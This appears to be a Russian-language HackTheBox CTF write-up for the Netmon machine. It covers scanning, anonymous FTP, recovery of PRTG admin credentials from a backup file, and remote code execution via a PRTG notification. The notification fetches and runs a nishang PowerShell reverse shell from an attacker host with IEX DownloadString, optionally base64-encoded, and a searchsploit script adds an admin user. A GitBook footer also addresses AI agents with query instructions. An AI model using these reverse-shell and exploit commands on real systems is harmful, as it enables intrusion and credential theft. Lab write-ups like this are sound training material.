> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md).

# Запись HackTheBox Netmon

{% embed url="<https://app.hackthebox.com/machines/Netmon>" %}

{% hint style="warning" %}
**Навыки:**

* Перечисление FTP
* Утечка информации
* Раскрытие учетных данных PRTG Network Monitor
* Выполнение команд через уведомления PRTG
* Доставка обратной оболочки PowerShell
  {% endhint %}

## Разведка

Создайте рабочую папку и выполните полный TCP-скан:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts
```

<figure><img src="/files/7c8bb4963a1c5a42192d6f502d0cf6c253418753" alt=""><figcaption></figcaption></figure>

Выполните целевой скан служб:

```bash
nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted
```

<figure><img src="/files/0b8aa21680a5b747e9a920e18306affe777394d5" alt=""><figcaption></figcaption></figure>

## Перечисление FTP

FTP разрешает анонимный доступ.

<figure><img src="/files/b74539ea65afdb90064d68ce0773e4e6d35c7b75" alt=""><figcaption></figcaption></figure>

Флаг пользователя можно прочитать через FTP по пути рабочего стола пользователя.

<figure><img src="/files/17337f2ae3f1824ec01eb61f5d59c644e4720077" alt=""><figcaption></figcaption></figure>

## PRTG Network Monitor

Порт 80 предоставляет **PRTG Network Monitor** веб-интерфейс.

<figure><img src="/files/a030687cad0a926839741de215d9e9b5cc00a267" alt=""><figcaption></figcaption></figure>

Проверьте каталог конфигурации:

```
ProgramData/Paessler/PRTG Network Monitor/
```

<figure><img src="/files/5a597faf20c1f0661918768e182e50a56508d233" alt=""><figcaption></figcaption></figure>

Файл резервной копии конфигурации содержит учетные данные:

```
PRTG Configuration.old.bak
```

<figure><img src="/files/5eba93ce4b224c87cd1da7d1b0db555e2dcb5572" alt=""><figcaption></figcaption></figure>

Восстановленные учетные данные:

* Имя пользователя: `prtgadmin`
* Пароль: `PrTg@dmin2018`

<figure><img src="/files/20d0e283cf60a5461f99baac36f1f75c515a3b6c" alt=""><figcaption></figcaption></figure>

Поскольку файл — старая резервная копия, попробуйте изменить год в пароле. Доступ действителен с:

```
PrTg@dmin2019
```

<figure><img src="/files/615d22ff80397f31938755dc9b70ae459ec2f3f4" alt=""><figcaption></figcaption></figure>

## RCE в PRTG

Уведомления PRTG могут выполнять команды на сервере. Используйте размещенный скрипт обратной оболочки PowerShell и запустите его через действие уведомления.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Скачайте и подготовьте полезную нагрузку PowerShell:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
python3 -m http.server 80
```

Запустите прослушиватель:

```bash
rlwrap nc -nvlp 443
```

В PRTG перейдите в `Setup > Account Settings > Notifications` и создайте действие уведомления, которое скачивает и выполняет размещенный скрипт.

<figure><img src="/files/68ef9a9ec4356837ffa35d201245c802ea0e7686" alt=""><figcaption></figcaption></figure>

Шаблон команды:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

Если обратный вызов загрузки достигает HTTP-сервера, но оболочка не возвращается, закодируйте скрипт PowerShell в Base64 UTF-16LE и выполните его с помощью `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

## Автоматизированный путь эксплуатации

В SearchSploit есть эксплойт для PRTG, который создает нового административного пользователя при наличии действительного аутентифицированного cookie.

```bash
searchsploit -m windows/webapps/46527.sh
```

Запустите эксплойт, указав целевой URL и cookie сеанса:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

Эксплойт создает:

* Имя пользователя: `pentest`
* Пароль: `P3nT3st!`

<figure><img src="/files/889b6b102f9f711afecfaa92a5983a0c2872c26b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
